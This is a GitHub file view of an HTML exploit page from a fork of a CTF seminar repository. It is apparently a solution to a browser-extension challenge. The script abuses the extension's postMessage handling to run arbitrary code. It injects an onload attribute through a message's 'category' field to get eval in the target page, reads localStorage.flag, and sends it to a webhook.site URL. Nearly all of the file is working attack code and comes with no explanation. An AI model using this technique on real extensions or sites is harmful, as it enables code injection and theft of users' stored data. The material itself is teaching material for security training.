forked from w0y/CTF-Seminar-Presentations
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathindex.html
135 lines (113 loc) · 5.18 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<div id="this">
</div>
<is>
</is>
<hard class="to" id="understand" but="also"></hard>
<not>
<div id="test" class="very easy"></div>
</not>
<script>
const query = new URLSearchParams(location.search);
const flagPage = query.has('flag-page') ? query.get('flag-page') : 'http://127.0.0.1:9000/';
function getExtensionOrigin() {
const globe = document.querySelector('img')
const pathIndex = globe.src.indexOf('/web');
return globe.src.substring(0, pathIndex)
}
async function loadIframe(url) {
return new Promise((resolve, reject) => {
const iframe = document.createElement('iframe');
iframe.onload = () => resolve(iframe.contentWindow);
iframe.onerror = reject;
iframe.src = url;
document.body.appendChild(iframe);
});
}
// helper iframe sends a postmessage on load
// register extEval after this message got received because then the helper iframe has finished loading/initialization
async function runExtensionExpression(extensionWindow, extensionOrigin) {
return new Promise(resolve => {
window.extEvalCallback = null;
window.addEventListener('message', m => {
if (event.origin !== extensionOrigin) {
return;
}
const extEval = async expr => new Promise(resolve => {
window.extEvalCallback = resolve;
extensionWindow.postMessage(expr, extensionOrigin);
});
resolve(extEval);
if (window.extEvalCallback !== null) {
window.extEvalCallback(m.data);
}
if (m.data && m.data.leak) {
console.log(m.data.leak);
}
});
})
}
async function waitForGoodMessage(extensionEval) {
await extensionEval(`
browser.runtime.onMessage.addListener(message => {
if (message.type === 'good') {
window.top.postMessage({ leak: message }, '*');
}
});
`);
}
async function runFlagExpression(flagWindow, extensionEval, flagPage) {
return new Promise(resolve => {
window.flagEvalCallback = null;
window.addEventListener('message', m => {
if (event.origin !== new URL(flagPage).origin) {
return;
}
const flagEval = async expr => new Promise(resolve => {
window.flagEvalCallback = resolve;
flagWindow.postMessage(expr, new URL(flagPage).origin);
});
resolve(flagEval);
if (window.flagEvalCallback !== null) {
window.flagEvalCallback(m.data);
}
if (m.data && m.data.leak) {
console.log(m.data.leak);
}
});
sendBadElementMessage(extensionEval);
});
}
function sendBadElementMessage(extensionEval) {
const msg = {
type: 'sendToTabs',
tabQuery: {
currentWindow: true,
active: true,
},
message: {
type: 'bad',
id: 'flag-hodler',
category: '" onload="f = e => e.source.postMessage(eval(e.data), `*`); window.addEventListener(`message`, f); f({data: 1, source: parent})',
}
}
extensionEval(`browser.runtime.sendMessage(${JSON.stringify(msg)}),0`);
}
setTimeout(async () => {
const extensionOrigin = getExtensionOrigin();
const extWindow = await loadIframe(`${extensionOrigin}/popup/index.html`);
const helperWindow = await loadIframe(`helper.html`);
const extensionEval = await runExtensionExpression(extWindow, extensionOrigin);
const flagWindow = await loadIframe(flagPage);
await waitForGoodMessage(extensionEval);
const flagEval = await runFlagExpression(flagWindow, extensionEval, flagPage);
const flag = await flagEval("window.localStorage.flag");
await fetch(`http://www.webhook.site/bd74c86a-0fdd-4f0a-b60a-dcec18f9b2a3?flag=${flag}`);
}, 500);
</script>
</body>
</html>